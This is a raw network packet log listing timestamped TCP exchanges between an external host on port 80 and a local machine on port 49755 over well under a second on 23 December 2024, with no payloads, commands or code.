Dec 23, 2024 08:44:43.549047947 CET	80	49755	185.215.113.16	192.168.2.7
Dec 23, 2024 08:44:43.549099922 CET	49755	80	192.168.2.7	185.215.113.16
Dec 23, 2024 08:44:43.549124002 CET	80	49755	185.215.113.16	192.168.2.7
Dec 23, 2024 08:44:43.549132109 CET	80	49755	185.215.113.16	192.168.2.7
Dec 23, 2024 08:44:43.549174070 CET	49755	80	192.168.2.7	185.215.113.16
Dec 23, 2024 08:44:43.549251080 CET	80	49755	185.215.113.16	192.168.2.7
Dec 23, 2024 08:44:43.549523115 CET	49755	80	192.168.2.7	185.215.113.16
Dec 23, 2024 08:44:43.549834013 CET	80	49755	185.215.113.16	192.168.2.7
Dec 23, 2024 08:44:43.549896002 CET	80	49755	185.215.113.16	192.168.2.7
Dec 23, 2024 08:44:43.549901962 CET	80	49755	185.215.113.16	192.168.2.7
Dec 23, 2024 08:44:43.549966097 CET	49755	80	192.168.2.7	185.215.113.16
Dec 23, 2024 08:44:43.550052881 CET	80	49755	185.215.113.16	192.168.2.7
Dec 23, 2024 08:44:43.550502062 CET	49755	80	192.168.2.7	185.215.113.16
Dec 23, 2024 08:44:43.550622940 CET	80	49755	185.215.113.16	192.168.2.7
Dec 23, 2024 08:44:43.550685883 CET	80	49755	185.215.113.16	192.168.2.7
Dec 23, 2024 08:44:43.550693035 CET	80	49755	185.215.113.16	192.168.2.7
Dec 23, 2024 08:44:43.550729036 CET	49755	80	192.168.2.7	185.215.113.16
Dec 23, 2024 08:44:43.550837040 CET	80	49755	185.215.113.16	192.168.2.7
Dec 23, 2024 08:44:43.551424980 CET	80	49755	185.215.113.16	192.168.2.7
Dec 23, 2024 08:44:43.551479101 CET	49755	80	192.168.2.7	185.215.113.16
Dec 23, 2024 08:44:43.551486015 CET	80	49755	185.215.113.16	192.168.2.7
Dec 23, 2024 08:44:43.551493883 CET	80	49755	185.215.113.16	192.168.2.7
Dec 23, 2024 08:44:43.551538944 CET	49755	80	192.168.2.7	185.215.113.16
Dec 23, 2024 08:44:43.551619053 CET	80	49755	185.215.113.16	192.168.2.7
Dec 23, 2024 08:44:43.551661968 CET	49755	80	192.168.2.7	185.215.113.16
Dec 23, 2024 08:44:43.552213907 CET	80	49755	185.215.113.16	192.168.2.7
Dec 23, 2024 08:44:43.552292109 CET	80	49755	185.215.113.16	192.168.2.7
Dec 23, 2024 08:44:43.552298069 CET	80	49755	185.215.113.16	192.168.2.7
Dec 23, 2024 08:44:43.552344084 CET	49755	80	192.168.2.7	185.215.113.16
Dec 23, 2024 08:44:43.552424908 CET	80	49755	185.215.113.16	192.168.2.7
Dec 23, 2024 08:44:43.553006887 CET	80	49755	185.215.113.16	192.168.2.7
Dec 23, 2024 08:44:43.553065062 CET	49755	80	192.168.2.7	185.215.113.16
Dec 23, 2024 08:44:43.553080082 CET	80	49755	185.215.113.16	192.168.2.7
Dec 23, 2024 08:44:43.553086996 CET	80	49755	185.215.113.16	192.168.2.7
Dec 23, 2024 08:44:43.553129911 CET	49755	80	192.168.2.7	185.215.113.16
Dec 23, 2024 08:44:43.553220987 CET	80	49755	185.215.113.16	192.168.2.7
Dec 23, 2024 08:44:43.553276062 CET	49755	80	192.168.2.7	185.215.113.16
Dec 23, 2024 08:44:43.553822994 CET	80	49755	185.215.113.16	192.168.2.7
Dec 23, 2024 08:44:43.553894997 CET	80	49755	185.215.113.16	192.168.2.7
Dec 23, 2024 08:44:43.553901911 CET	80	49755	185.215.113.16	192.168.2.7
Dec 23, 2024 08:44:43.553967953 CET	49755	80	192.168.2.7	185.215.113.16
Dec 23, 2024 08:44:43.554032087 CET	80	49755	185.215.113.16	192.168.2.7
Dec 23, 2024 08:44:43.554209948 CET	49755	80	192.168.2.7	185.215.113.16
Dec 23, 2024 08:44:43.554600000 CET	80	49755	185.215.113.16	192.168.2.7
Dec 23, 2024 08:44:43.554678917 CET	80	49755	185.215.113.16	192.168.2.7
Dec 23, 2024 08:44:43.554685116 CET	80	49755	185.215.113.16	192.168.2.7
Dec 23, 2024 08:44:43.554735899 CET	49755	80	192.168.2.7	185.215.113.16
Dec 23, 2024 08:44:43.554807901 CET	80	49755	185.215.113.16	192.168.2.7
Dec 23, 2024 08:44:43.554897070 CET	49755	80	192.168.2.7	185.215.113.16
Dec 23, 2024 08:44:43.555383921 CET	80	49755	185.215.113.16	192.168.2.7
Dec 23, 2024 08:44:43.555475950 CET	80	49755	185.215.113.16	192.168.2.7
Dec 23, 2024 08:44:43.555483103 CET	80	49755	185.215.113.16	192.168.2.7
Dec 23, 2024 08:44:43.555540085 CET	49755	80	192.168.2.7	185.215.113.16
Dec 23, 2024 08:44:43.555608034 CET	80	49755	185.215.113.16	192.168.2.7
Dec 23, 2024 08:44:43.555967093 CET	49755	80	192.168.2.7	185.215.113.16
Dec 23, 2024 08:44:43.556199074 CET	80	49755	185.215.113.16	192.168.2.7
Dec 23, 2024 08:44:43.556268930 CET	80	49755	185.215.113.16	192.168.2.7
Dec 23, 2024 08:44:43.556281090 CET	80	49755	185.215.113.16	192.168.2.7
Dec 23, 2024 08:44:43.556319952 CET	49755	80	192.168.2.7	185.215.113.16
Dec 23, 2024 08:44:43.556413889 CET	80	49755	185.215.113.16	192.168.2.7
Dec 23, 2024 08:44:43.556454897 CET	49755	80	192.168.2.7	185.215.113.16
Dec 23, 2024 08:44:43.557003021 CET	80	49755	185.215.113.16	192.168.2.7
Dec 23, 2024 08:44:43.557049990 CET	80	49755	185.215.113.16	192.168.2.7
Dec 23, 2024 08:44:43.557055950 CET	80	49755	185.215.113.16	192.168.2.7
Dec 23, 2024 08:44:43.557106972 CET	49755	80	192.168.2.7	185.215.113.16
Dec 23, 2024 08:44:43.557197094 CET	80	49755	185.215.113.16	192.168.2.7
Dec 23, 2024 08:44:43.557261944 CET	49755	80	192.168.2.7	185.215.113.16
Dec 23, 2024 08:44:43.557847023 CET	80	49755	185.215.113.16	192.168.2.7
Dec 23, 2024 08:44:43.557854891 CET	80	49755	185.215.113.16	192.168.2.7
Dec 23, 2024 08:44:43.557867050 CET	80	49755	185.215.113.16	192.168.2.7
Dec 23, 2024 08:44:43.557912111 CET	49755	80	192.168.2.7	185.215.113.16
Dec 23, 2024 08:44:43.557993889 CET	80	49755	185.215.113.16	192.168.2.7
Dec 23, 2024 08:44:43.558047056 CET	49755	80	192.168.2.7	185.215.113.16
Dec 23, 2024 08:44:43.558593988 CET	80	49755	185.215.113.16	192.168.2.7
Dec 23, 2024 08:44:43.558650970 CET	80	49755	185.215.113.16	192.168.2.7
Dec 23, 2024 08:44:43.558657885 CET	80	49755	185.215.113.16	192.168.2.7
Dec 23, 2024 08:44:43.558701038 CET	49755	80	192.168.2.7	185.215.113.16
Dec 23, 2024 08:44:43.558809042 CET	80	49755	185.215.113.16	192.168.2.7
Dec 23, 2024 08:44:43.558857918 CET	49755	80	192.168.2.7	185.215.113.16
Dec 23, 2024 08:44:43.559448957 CET	80	49755	185.215.113.16	192.168.2.7
Dec 23, 2024 08:44:43.559497118 CET	80	49755	185.215.113.16	192.168.2.7
Dec 23, 2024 08:44:43.559503078 CET	80	49755	185.215.113.16	192.168.2.7
Dec 23, 2024 08:44:43.559541941 CET	49755	80	192.168.2.7	185.215.113.16
Dec 23, 2024 08:44:43.559653044 CET	80	49755	185.215.113.16	192.168.2.7
Dec 23, 2024 08:44:43.559709072 CET	49755	80	192.168.2.7	185.215.113.16
Dec 23, 2024 08:44:43.560198069 CET	80	49755	185.215.113.16	192.168.2.7
Dec 23, 2024 08:44:43.560278893 CET	80	49755	185.215.113.16	192.168.2.7
Dec 23, 2024 08:44:43.560286045 CET	80	49755	185.215.113.16	192.168.2.7
Dec 23, 2024 08:44:43.560333967 CET	49755	80	192.168.2.7	185.215.113.16
Dec 23, 2024 08:44:43.560363054 CET	80	49755	185.215.113.16	192.168.2.7
Dec 23, 2024 08:44:43.560425043 CET	49755	80	192.168.2.7	185.215.113.16
Dec 23, 2024 08:44:43.560966969 CET	80	49755	185.215.113.16	192.168.2.7
Dec 23, 2024 08:44:43.561036110 CET	80	49755	185.215.113.16	192.168.2.7
Dec 23, 2024 08:44:43.561043024 CET	80	49755	185.215.113.16	192.168.2.7
Dec 23, 2024 08:44:43.561104059 CET	49755	80	192.168.2.7	185.215.113.16
Dec 23, 2024 08:44:43.561170101 CET	80	49755	185.215.113.16	192.168.2.7
Dec 23, 2024 08:44:43.561227083 CET	49755	80	192.168.2.7	185.215.113.16
Dec 23, 2024 08:44:43.561775923 CET	80	49755	185.215.113.16	192.168.2.7
Dec 23, 2024 08:44:43.561844110 CET	80	49755	185.215.113.16	192.168.2.7
Dec 23, 2024 08:44:43.561851025 CET	80	49755	185.215.113.16	192.168.2.7
Dec 23, 2024 08:44:43.561898947 CET	49755	80	192.168.2.7	185.215.113.16
Dec 23, 2024 08:44:43.561971903 CET	80	49755	185.215.113.16	192.168.2.7
Dec 23, 2024 08:44:43.562041044 CET	49755	80	192.168.2.7	185.215.113.16
Dec 23, 2024 08:44:43.562557936 CET	80	49755	185.215.113.16	192.168.2.7
Dec 23, 2024 08:44:43.562634945 CET	80	49755	185.215.113.16	192.168.2.7
Dec 23, 2024 08:44:43.562642097 CET	80	49755	185.215.113.16	192.168.2.7
Dec 23, 2024 08:44:43.562690020 CET	49755	80	192.168.2.7	185.215.113.16
Dec 23, 2024 08:44:43.562787056 CET	80	49755	185.215.113.16	192.168.2.7
Dec 23, 2024 08:44:43.563376904 CET	80	49755	185.215.113.16	192.168.2.7
Dec 23, 2024 08:44:43.563440084 CET	80	49755	185.215.113.16	192.168.2.7
Dec 23, 2024 08:44:43.563443899 CET	49755	80	192.168.2.7	185.215.113.16
Dec 23, 2024 08:44:43.563446045 CET	80	49755	185.215.113.16	192.168.2.7
Dec 23, 2024 08:44:43.563499928 CET	49755	80	192.168.2.7	185.215.113.16
Dec 23, 2024 08:44:43.563585043 CET	80	49755	185.215.113.16	192.168.2.7
Dec 23, 2024 08:44:43.563647032 CET	49755	80	192.168.2.7	185.215.113.16
Dec 23, 2024 08:44:43.564176083 CET	80	49755	185.215.113.16	192.168.2.7
Dec 23, 2024 08:44:43.564244986 CET	80	49755	185.215.113.16	192.168.2.7
Dec 23, 2024 08:44:43.564261913 CET	80	49755	185.215.113.16	192.168.2.7
Dec 23, 2024 08:44:43.564321041 CET	49755	80	192.168.2.7	185.215.113.16
Dec 23, 2024 08:44:43.564390898 CET	80	49755	185.215.113.16	192.168.2.7
Dec 23, 2024 08:44:43.564454079 CET	49755	80	192.168.2.7	185.215.113.16
Dec 23, 2024 08:44:43.564956903 CET	80	49755	185.215.113.16	192.168.2.7
Dec 23, 2024 08:44:43.565021992 CET	80	49755	185.215.113.16	192.168.2.7
Dec 23, 2024 08:44:43.565030098 CET	80	49755	185.215.113.16	192.168.2.7
Dec 23, 2024 08:44:43.565076113 CET	49755	80	192.168.2.7	185.215.113.16
Dec 23, 2024 08:44:43.565149069 CET	80	49755	185.215.113.16	192.168.2.7
Dec 23, 2024 08:44:43.565192938 CET	49755	80	192.168.2.7	185.215.113.16
Dec 23, 2024 08:44:43.565730095 CET	80	49755	185.215.113.16	192.168.2.7
Dec 23, 2024 08:44:43.565804005 CET	80	49755	185.215.113.16	192.168.2.7
Dec 23, 2024 08:44:43.565809965 CET	80	49755	185.215.113.16	192.168.2.7
Dec 23, 2024 08:44:43.565861940 CET	49755	80	192.168.2.7	185.215.113.16
Dec 23, 2024 08:44:43.565953970 CET	80	49755	185.215.113.16	192.168.2.7
Dec 23, 2024 08:44:43.566003084 CET	49755	80	192.168.2.7	185.215.113.16
Dec 23, 2024 08:44:43.566529036 CET	80	49755	185.215.113.16	192.168.2.7
Dec 23, 2024 08:44:43.566621065 CET	80	49755	185.215.113.16	192.168.2.7
Dec 23, 2024 08:44:43.566627979 CET	80	49755	185.215.113.16	192.168.2.7
Dec 23, 2024 08:44:43.566689968 CET	49755	80	192.168.2.7	185.215.113.16
Dec 23, 2024 08:44:43.566843033 CET	80	49755	185.215.113.16	192.168.2.7
Dec 23, 2024 08:44:43.567327023 CET	80	49755	185.215.113.16	192.168.2.7
Dec 23, 2024 08:44:43.567378044 CET	49755	80	192.168.2.7	185.215.113.16
Dec 23, 2024 08:44:43.567404032 CET	80	49755	185.215.113.16	192.168.2.7
Dec 23, 2024 08:44:43.567413092 CET	80	49755	185.215.113.16	192.168.2.7
Dec 23, 2024 08:44:43.567460060 CET	49755	80	192.168.2.7	185.215.113.16
Dec 23, 2024 08:44:43.567549944 CET	80	49755	185.215.113.16	192.168.2.7
Dec 23, 2024 08:44:43.567604065 CET	49755	80	192.168.2.7	185.215.113.16
Dec 23, 2024 08:44:43.568121910 CET	80	49755	185.215.113.16	192.168.2.7
Dec 23, 2024 08:44:43.568186045 CET	80	49755	185.215.113.16	192.168.2.7
Dec 23, 2024 08:44:43.568192005 CET	80	49755	185.215.113.16	192.168.2.7
Dec 23, 2024 08:44:43.568244934 CET	49755	80	192.168.2.7	185.215.113.16
Dec 23, 2024 08:44:43.568358898 CET	80	49755	185.215.113.16	192.168.2.7
Dec 23, 2024 08:44:43.568409920 CET	49755	80	192.168.2.7	185.215.113.16
Dec 23, 2024 08:44:43.568911076 CET	80	49755	185.215.113.16	192.168.2.7
Dec 23, 2024 08:44:43.569008112 CET	80	49755	185.215.113.16	192.168.2.7
Dec 23, 2024 08:44:43.569015026 CET	80	49755	185.215.113.16	192.168.2.7
Dec 23, 2024 08:44:43.569063902 CET	49755	80	192.168.2.7	185.215.113.16
Dec 23, 2024 08:44:43.569113970 CET	80	49755	185.215.113.16	192.168.2.7
Dec 23, 2024 08:44:43.569186926 CET	49755	80	192.168.2.7	185.215.113.16
Dec 23, 2024 08:44:43.569706917 CET	80	49755	185.215.113.16	192.168.2.7
Dec 23, 2024 08:44:43.569794893 CET	80	49755	185.215.113.16	192.168.2.7
Dec 23, 2024 08:44:43.569802999 CET	80	49755	185.215.113.16	192.168.2.7
Dec 23, 2024 08:44:43.569849968 CET	49755	80	192.168.2.7	185.215.113.16
Dec 23, 2024 08:44:43.569931030 CET	80	49755	185.215.113.16	192.168.2.7
Dec 23, 2024 08:44:43.569986105 CET	49755	80	192.168.2.7	185.215.113.16
Dec 23, 2024 08:44:43.570497990 CET	80	49755	185.215.113.16	192.168.2.7
Dec 23, 2024 08:44:43.570578098 CET	80	49755	185.215.113.16	192.168.2.7
Dec 23, 2024 08:44:43.570585012 CET	80	49755	185.215.113.16	192.168.2.7
Dec 23, 2024 08:44:43.570631027 CET	49755	80	192.168.2.7	185.215.113.16
Dec 23, 2024 08:44:43.570710897 CET	80	49755	185.215.113.16	192.168.2.7
Dec 23, 2024 08:44:43.571300983 CET	80	49755	185.215.113.16	192.168.2.7
Dec 23, 2024 08:44:43.571381092 CET	80	49755	185.215.113.16	192.168.2.7
Dec 23, 2024 08:44:43.571382999 CET	49755	80	192.168.2.7	185.215.113.16
Dec 23, 2024 08:44:43.571388960 CET	80	49755	185.215.113.16	192.168.2.7
Dec 23, 2024 08:44:43.571446896 CET	49755	80	192.168.2.7	185.215.113.16
Dec 23, 2024 08:44:43.571501017 CET	80	49755	185.215.113.16	192.168.2.7
Dec 23, 2024 08:44:43.571557045 CET	49755	80	192.168.2.7	185.215.113.16
Dec 23, 2024 08:44:43.572092056 CET	80	49755	185.215.113.16	192.168.2.7
Dec 23, 2024 08:44:43.572171926 CET	80	49755	185.215.113.16	192.168.2.7
Dec 23, 2024 08:44:43.572179079 CET	80	49755	185.215.113.16	192.168.2.7
Dec 23, 2024 08:44:43.572227955 CET	49755	80	192.168.2.7	185.215.113.16
Dec 23, 2024 08:44:43.572313070 CET	80	49755	185.215.113.16	192.168.2.7
Dec 23, 2024 08:44:43.572362900 CET	49755	80	192.168.2.7	185.215.113.16
Dec 23, 2024 08:44:43.572907925 CET	80	49755	185.215.113.16	192.168.2.7
Dec 23, 2024 08:44:43.572978020 CET	80	49755	185.215.113.16	192.168.2.7
Dec 23, 2024 08:44:43.573004007 CET	80	49755	185.215.113.16	192.168.2.7
Dec 23, 2024 08:44:43.573036909 CET	49755	80	192.168.2.7	185.215.113.16
Dec 23, 2024 08:44:43.573101044 CET	80	49755	185.215.113.16	192.168.2.7
Dec 23, 2024 08:44:43.573172092 CET	49755	80	192.168.2.7	185.215.113.16
Dec 23, 2024 08:44:43.573731899 CET	80	49755	185.215.113.16	192.168.2.7
Dec 23, 2024 08:44:43.573764086 CET	80	49755	185.215.113.16	192.168.2.7
Dec 23, 2024 08:44:43.573779106 CET	80	49755	185.215.113.16	192.168.2.7
Dec 23, 2024 08:44:43.573841095 CET	49755	80	192.168.2.7	185.215.113.16
Dec 23, 2024 08:44:43.573986053 CET	80	49755	185.215.113.16	192.168.2.7
Dec 23, 2024 08:44:43.574065924 CET	49755	80	192.168.2.7	185.215.113.16
Dec 23, 2024 08:44:43.574496031 CET	80	49755	185.215.113.16	192.168.2.7
Dec 23, 2024 08:44:43.574570894 CET	80	49755	185.215.113.16	192.168.2.7
Dec 23, 2024 08:44:43.574599981 CET	80	49755	185.215.113.16	192.168.2.7
Dec 23, 2024 08:44:43.574656963 CET	49755	80	192.168.2.7	185.215.113.16
Dec 23, 2024 08:44:43.574697018 CET	80	49755	185.215.113.16	192.168.2.7
Dec 23, 2024 08:44:43.575213909 CET	49755	80	192.168.2.7	185.215.113.16
Dec 23, 2024 08:44:43.575287104 CET	80	49755	185.215.113.16	192.168.2.7
Dec 23, 2024 08:44:43.575365067 CET	80	49755	185.215.113.16	192.168.2.7
Dec 23, 2024 08:44:43.575390100 CET	80	49755	185.215.113.16	192.168.2.7
Dec 23, 2024 08:44:43.575418949 CET	49755	80	192.168.2.7	185.215.113.16
Dec 23, 2024 08:44:43.575489044 CET	80	49755	185.215.113.16	192.168.2.7
Dec 23, 2024 08:44:43.575541973 CET	49755	80	192.168.2.7	185.215.113.16
Dec 23, 2024 08:44:43.576086044 CET	80	49755	185.215.113.16	192.168.2.7
Dec 23, 2024 08:44:43.576175928 CET	80	49755	185.215.113.16	192.168.2.7
Dec 23, 2024 08:44:43.576190948 CET	80	49755	185.215.113.16	192.168.2.7
Dec 23, 2024 08:44:43.576271057 CET	80	49755	185.215.113.16	192.168.2.7
Dec 23, 2024 08:44:43.576316118 CET	49755	80	192.168.2.7	185.215.113.16
Dec 23, 2024 08:44:43.576332092 CET	49755	80	192.168.2.7	185.215.113.16
Dec 23, 2024 08:44:43.576900959 CET	80	49755	185.215.113.16	192.168.2.7
Dec 23, 2024 08:44:43.576982021 CET	80	49755	185.215.113.16	192.168.2.7
Dec 23, 2024 08:44:43.576996088 CET	80	49755	185.215.113.16	192.168.2.7
Dec 23, 2024 08:44:43.577050924 CET	49755	80	192.168.2.7	185.215.113.16
Dec 23, 2024 08:44:43.577119112 CET	80	49755	185.215.113.16	192.168.2.7
Dec 23, 2024 08:44:43.577343941 CET	49755	80	192.168.2.7	185.215.113.16
Dec 23, 2024 08:44:43.577680111 CET	80	49755	185.215.113.16	192.168.2.7
Dec 23, 2024 08:44:43.577785969 CET	80	49755	185.215.113.16	192.168.2.7
Dec 23, 2024 08:44:43.577827930 CET	80	49755	185.215.113.16	192.168.2.7
Dec 23, 2024 08:44:43.577845097 CET	49755	80	192.168.2.7	185.215.113.16
Dec 23, 2024 08:44:43.577878952 CET	80	49755	185.215.113.16	192.168.2.7
Dec 23, 2024 08:44:43.578288078 CET	49755	80	192.168.2.7	185.215.113.16
Dec 23, 2024 08:44:43.578449011 CET	80	49755	185.215.113.16	192.168.2.7
Dec 23, 2024 08:44:43.578552008 CET	80	49755	185.215.113.16	192.168.2.7
Dec 23, 2024 08:44:43.578567028 CET	80	49755	185.215.113.16	192.168.2.7
Dec 23, 2024 08:44:43.578619003 CET	49755	80	192.168.2.7	185.215.113.16
Dec 23, 2024 08:44:43.578660011 CET	80	49755	185.215.113.16	192.168.2.7
Dec 23, 2024 08:44:43.578718901 CET	49755	80	192.168.2.7	185.215.113.16
Dec 23, 2024 08:44:43.579251051 CET	80	49755	185.215.113.16	192.168.2.7
Dec 23, 2024 08:44:43.579344988 CET	80	49755	185.215.113.16	192.168.2.7
Dec 23, 2024 08:44:43.579359055 CET	80	49755	185.215.113.16	192.168.2.7
Dec 23, 2024 08:44:43.579408884 CET	49755	80	192.168.2.7	185.215.113.16
Dec 23, 2024 08:44:43.579495907 CET	80	49755	185.215.113.16	192.168.2.7
Dec 23, 2024 08:44:43.579545021 CET	49755	80	192.168.2.7	185.215.113.16
Dec 23, 2024 08:44:43.580054045 CET	80	49755	185.215.113.16	192.168.2.7
Dec 23, 2024 08:44:43.580159903 CET	80	49755	185.215.113.16	192.168.2.7
Dec 23, 2024 08:44:43.580176115 CET	80	49755	185.215.113.16	192.168.2.7
Dec 23, 2024 08:44:43.580220938 CET	49755	80	192.168.2.7	185.215.113.16
Dec 23, 2024 08:44:43.580262899 CET	80	49755	185.215.113.16	192.168.2.7
Dec 23, 2024 08:44:43.580326080 CET	49755	80	192.168.2.7	185.215.113.16
Dec 23, 2024 08:44:43.580849886 CET	80	49755	185.215.113.16	192.168.2.7
Dec 23, 2024 08:44:43.580910921 CET	80	49755	185.215.113.16	192.168.2.7
Dec 23, 2024 08:44:43.580924988 CET	80	49755	185.215.113.16	192.168.2.7
Dec 23, 2024 08:44:43.580982924 CET	49755	80	192.168.2.7	185.215.113.16
Dec 23, 2024 08:44:43.581068039 CET	80	49755	185.215.113.16	192.168.2.7
Dec 23, 2024 08:44:43.581231117 CET	49755	80	192.168.2.7	185.215.113.16
Dec 23, 2024 08:44:43.581639051 CET	80	49755	185.215.113.16	192.168.2.7
Dec 23, 2024 08:44:43.581729889 CET	80	49755	185.215.113.16	192.168.2.7
Dec 23, 2024 08:44:43.581743956 CET	80	49755	185.215.113.16	192.168.2.7
Dec 23, 2024 08:44:43.581789017 CET	49755	80	192.168.2.7	185.215.113.16
Dec 23, 2024 08:44:43.581841946 CET	80	49755	185.215.113.16	192.168.2.7
Dec 23, 2024 08:44:43.581909895 CET	49755	80	192.168.2.7	185.215.113.16
Dec 23, 2024 08:44:43.582485914 CET	80	49755	185.215.113.16	192.168.2.7
Dec 23, 2024 08:44:43.582587957 CET	80	49755	185.215.113.16	192.168.2.7
Dec 23, 2024 08:44:43.582602978 CET	80	49755	185.215.113.16	192.168.2.7
Dec 23, 2024 08:44:43.582643986 CET	80	49755	185.215.113.16	192.168.2.7
Dec 23, 2024 08:44:43.582673073 CET	49755	80	192.168.2.7	185.215.113.16
Dec 23, 2024 08:44:43.582706928 CET	49755	80	192.168.2.7	185.215.113.16
Dec 23, 2024 08:44:43.583250999 CET	80	49755	185.215.113.16	192.168.2.7
Dec 23, 2024 08:44:43.583328962 CET	80	49755	185.215.113.16	192.168.2.7
Dec 23, 2024 08:44:43.583352089 CET	80	49755	185.215.113.16	192.168.2.7
Dec 23, 2024 08:44:43.583415985 CET	49755	80	192.168.2.7	185.215.113.16
Dec 23, 2024 08:44:43.583482027 CET	80	49755	185.215.113.16	192.168.2.7
Dec 23, 2024 08:44:43.583538055 CET	49755	80	192.168.2.7	185.215.113.16
Dec 23, 2024 08:44:43.584037066 CET	80	49755	185.215.113.16	192.168.2.7
Dec 23, 2024 08:44:43.584115028 CET	80	49755	185.215.113.16	192.168.2.7
Dec 23, 2024 08:44:43.584134102 CET	80	49755	185.215.113.16	192.168.2.7
Dec 23, 2024 08:44:43.584212065 CET	49755	80	192.168.2.7	185.215.113.16
Dec 23, 2024 08:44:43.584253073 CET	80	49755	185.215.113.16	192.168.2.7
Dec 23, 2024 08:44:43.584331989 CET	49755	80	192.168.2.7	185.215.113.16
Dec 23, 2024 08:44:43.584845066 CET	80	49755	185.215.113.16	192.168.2.7
Dec 23, 2024 08:44:43.584948063 CET	80	49755	185.215.113.16	192.168.2.7
Dec 23, 2024 08:44:43.584966898 CET	80	49755	185.215.113.16	192.168.2.7
Dec 23, 2024 08:44:43.585047007 CET	49755	80	192.168.2.7	185.215.113.16
Dec 23, 2024 08:44:43.585059881 CET	80	49755	185.215.113.16	192.168.2.7
Dec 23, 2024 08:44:43.585105896 CET	49755	80	192.168.2.7	185.215.113.16
Dec 23, 2024 08:44:43.585684061 CET	80	49755	185.215.113.16	192.168.2.7
Dec 23, 2024 08:44:43.585746050 CET	80	49755	185.215.113.16	192.168.2.7
Dec 23, 2024 08:44:43.585763931 CET	80	49755	185.215.113.16	192.168.2.7
Dec 23, 2024 08:44:43.585803032 CET	49755	80	192.168.2.7	185.215.113.16
Dec 23, 2024 08:44:43.585807085 CET	80	49755	185.215.113.16	192.168.2.7
Dec 23, 2024 08:44:43.585860014 CET	49755	80	192.168.2.7	185.215.113.16
Dec 23, 2024 08:44:43.586421013 CET	80	49755	185.215.113.16	192.168.2.7
Dec 23, 2024 08:44:43.586497068 CET	80	49755	185.215.113.16	192.168.2.7
Dec 23, 2024 08:44:43.586517096 CET	80	49755	185.215.113.16	192.168.2.7
Dec 23, 2024 08:44:43.586579084 CET	49755	80	192.168.2.7	185.215.113.16
Dec 23, 2024 08:44:43.586652040 CET	80	49755	185.215.113.16	192.168.2.7
Dec 23, 2024 08:44:43.586741924 CET	49755	80	192.168.2.7	185.215.113.16
Dec 23, 2024 08:44:43.587238073 CET	80	49755	185.215.113.16	192.168.2.7
Dec 23, 2024 08:44:43.587335110 CET	80	49755	185.215.113.16	192.168.2.7
Dec 23, 2024 08:44:43.587357998 CET	80	49755	185.215.113.16	192.168.2.7
Dec 23, 2024 08:44:43.587421894 CET	49755	80	192.168.2.7	185.215.113.16
Dec 23, 2024 08:44:43.587441921 CET	80	49755	185.215.113.16	192.168.2.7
Dec 23, 2024 08:44:43.587522984 CET	49755	80	192.168.2.7	185.215.113.16
Dec 23, 2024 08:44:43.588051081 CET	80	49755	185.215.113.16	192.168.2.7
Dec 23, 2024 08:44:43.588149071 CET	80	49755	185.215.113.16	192.168.2.7
Dec 23, 2024 08:44:43.588169098 CET	80	49755	185.215.113.16	192.168.2.7
Dec 23, 2024 08:44:43.588193893 CET	49755	80	192.168.2.7	185.215.113.16
Dec 23, 2024 08:44:43.588242054 CET	80	49755	185.215.113.16	192.168.2.7
Dec 23, 2024 08:44:43.588303089 CET	49755	80	192.168.2.7	185.215.113.16
Dec 23, 2024 08:44:43.589030981 CET	80	49755	185.215.113.16	192.168.2.7
Dec 23, 2024 08:44:43.589076996 CET	80	49755	185.215.113.16	192.168.2.7
Dec 23, 2024 08:44:43.589107990 CET	80	49755	185.215.113.16	192.168.2.7
Dec 23, 2024 08:44:43.589154959 CET	49755	80	192.168.2.7	185.215.113.16
Dec 23, 2024 08:44:43.589174986 CET	80	49755	185.215.113.16	192.168.2.7
Dec 23, 2024 08:44:43.589230061 CET	49755	80	192.168.2.7	185.215.113.16
Dec 23, 2024 08:44:43.589591026 CET	80	49755	185.215.113.16	192.168.2.7
Dec 23, 2024 08:44:43.589701891 CET	80	49755	185.215.113.16	192.168.2.7
Dec 23, 2024 08:44:43.589710951 CET	80	49755	185.215.113.16	192.168.2.7
Dec 23, 2024 08:44:43.589782000 CET	49755	80	192.168.2.7	185.215.113.16
Dec 23, 2024 08:44:43.589817047 CET	80	49755	185.215.113.16	192.168.2.7
Dec 23, 2024 08:44:43.589870930 CET	49755	80	192.168.2.7	185.215.113.16
Dec 23, 2024 08:44:43.590399027 CET	80	49755	185.215.113.16	192.168.2.7
Dec 23, 2024 08:44:43.590485096 CET	80	49755	185.215.113.16	192.168.2.7
Dec 23, 2024 08:44:43.590492964 CET	80	49755	185.215.113.16	192.168.2.7
Dec 23, 2024 08:44:43.590529919 CET	49755	80	192.168.2.7	185.215.113.16
Dec 23, 2024 08:44:43.590607882 CET	80	49755	185.215.113.16	192.168.2.7
Dec 23, 2024 08:44:43.590677977 CET	49755	80	192.168.2.7	185.215.113.16
Dec 23, 2024 08:44:43.591177940 CET	80	49755	185.215.113.16	192.168.2.7
Dec 23, 2024 08:44:43.591244936 CET	80	49755	185.215.113.16	192.168.2.7
Dec 23, 2024 08:44:43.591253996 CET	80	49755	185.215.113.16	192.168.2.7
Dec 23, 2024 08:44:43.591308117 CET	49755	80	192.168.2.7	185.215.113.16
Dec 23, 2024 08:44:43.591392040 CET	80	49755	185.215.113.16	192.168.2.7
Dec 23, 2024 08:44:43.591454983 CET	49755	80	192.168.2.7	185.215.113.16
Dec 23, 2024 08:44:43.591999054 CET	80	49755	185.215.113.16	192.168.2.7
Dec 23, 2024 08:44:43.592051983 CET	80	49755	185.215.113.16	192.168.2.7
Dec 23, 2024 08:44:43.592060089 CET	80	49755	185.215.113.16	192.168.2.7
Dec 23, 2024 08:44:43.592196941 CET	80	49755	185.215.113.16	192.168.2.7
Dec 23, 2024 08:44:43.592237949 CET	49755	80	192.168.2.7	185.215.113.16
Dec 23, 2024 08:44:43.592261076 CET	49755	80	192.168.2.7	185.215.113.16
Dec 23, 2024 08:44:43.592771053 CET	80	49755	185.215.113.16	192.168.2.7
Dec 23, 2024 08:44:43.592868090 CET	80	49755	185.215.113.16	192.168.2.7
Dec 23, 2024 08:44:43.592880964 CET	80	49755	185.215.113.16	192.168.2.7
Dec 23, 2024 08:44:43.592930079 CET	49755	80	192.168.2.7	185.215.113.16
Dec 23, 2024 08:44:43.592986107 CET	80	49755	185.215.113.16	192.168.2.7
Dec 23, 2024 08:44:43.593031883 CET	49755	80	192.168.2.7	185.215.113.16
Dec 23, 2024 08:44:43.593554974 CET	80	49755	185.215.113.16	192.168.2.7
Dec 23, 2024 08:44:43.593667984 CET	80	49755	185.215.113.16	192.168.2.7
Dec 23, 2024 08:44:43.593678951 CET	80	49755	185.215.113.16	192.168.2.7
